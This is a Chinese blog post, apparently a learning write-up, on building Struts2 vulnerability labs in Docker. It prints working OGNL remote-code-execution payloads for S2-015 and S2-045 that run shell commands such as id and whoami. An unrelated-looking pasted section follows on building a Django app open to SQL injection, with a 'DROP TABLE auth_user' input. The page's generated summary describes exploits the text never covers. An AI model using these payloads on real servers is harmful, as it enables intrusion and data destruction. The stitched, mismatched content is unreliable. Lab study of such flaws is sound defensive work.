Str2 漏洞 搭建 简单学习

本文介绍了Struts2的几个重要漏洞,包括S2-015、S2-045和S2-046。针对每个漏洞,提供了官方链接以及受影响的版本范围。特别提到,S2-015可以通过执行Message触发,修复措施是尽快将Struts2更新到最新版本以避免风险。对于Str-048,文章表明分析尚未完成。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

struts2_s2-015

官方:https://cwiki.apache.org/confluence/display/WW/S2-015

1感谢大佬的项目:https://github.com/Medicean/VulApps/tree/master/s/struts2/

1拉取景象
docker pull medicean/vulapps:s_struts2_s2-015

1运行
docker run -dt(后台运行) --name sqli-labs (名字) -p 80:80 (本地,docker端口 映射) --rm (docker 停止后 ,删除产生所有的镜像) 
docker run -dt --name struts_s2-015 -p 80:8080 --rm  medicean/vulapps:s_struts2_s2-015

在这里插入图片描述

POC:
/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
改变 exec中即可

在这里插入图片描述
Message 执行了

struts2-045

1拉取景象
docker pull medicean/vulapps:s_struts2_s2-045

1运行
docker run -dt(后台运行) --name sqli-labs (名字) -p 80:80 (本地,docker端口 映射) --rm (docker 停止后 ,删除产生所有的镜像) 
docker run -dt --name struts_s2-045 -p 80:8080 --rm  medicean/vulapps:s_struts2_s2-045

在这里插入图片描述

POC1:
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

### 创建带有SQL注入漏洞的Django应用环境 出于教育目的,在受控环境中构建具有已知漏洞的应用程序可以帮助理解其工作原理并学习防御措施。下面介绍如何设置一个存在特定SQL注入漏洞的Django应用程序。 #### 安装依赖项 确保安装了Python以及pip工具之后,可以创建一个新的虚拟环境来隔离项目所需的包: ```bash python3 -m venv myvenv source myvenv/bin/activate # Linux/MacOS myvenv\Scripts\activate # Windows ``` 接着安装指定版本的Django,这里选择容易受到CVE-2021-35042影响的一个版本[^2]: ```bash pip install django==3.2.9 ``` #### 构建易受攻击的应用逻辑 新建一个名为`insecure_app`的应用,并编辑其中views.py文件引入不安全的做法。例如,对于QuerySet.order_by()方法不当使用用户输入参数的情况如下所示: ```python from django.shortcuts import render from .models import Entry def vulnerable_view(request): order = request.GET.get('orderby', 'id') entries = Entry.objects.all().order_by(order) # 不安全的操作 context = {'entries': entries} return render(request, 'list_entries.html', context) ``` 上述代码片段展示了当开发者直接将未经验证或清理过的GET请求参数应用于数据库查询排序时所存在的风险。 #### 设置模型与迁移 定义简单的数据表结构以便于测试,比如博客文章条目(Entry),并在settings.py里配置好SQLite或其他支持的关系型数据库连接信息后运行命令完成初始化操作: ```python class Entry(models.Model): title = models.CharField(max_length=200) content = models.TextField() def __str__(self): return self.title ``` 最后执行同步数据库架构变更的任务: ```bash python manage.py makemigrations insecure_app python manage.py migrate ``` 此时已经成功建立起了一个具备潜在SQL注入隐患的小型Web服务端实例,仅供内部实验用途,请勿部署至公网环境以免遭受真实世界的恶意利用。 #### 测试漏洞的存在性 启动开发服务器并通过浏览器访问页面尝试不同的URL参数组合观察响应行为变化,如`?orderby=-title`正常显示按标题降序排列的结果集;而像`?orderby=id; DROP TABLE auth_user -- `这样的特殊构造则可能引发异常错误提示甚至更严重的后果取决于具体上下文条件[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值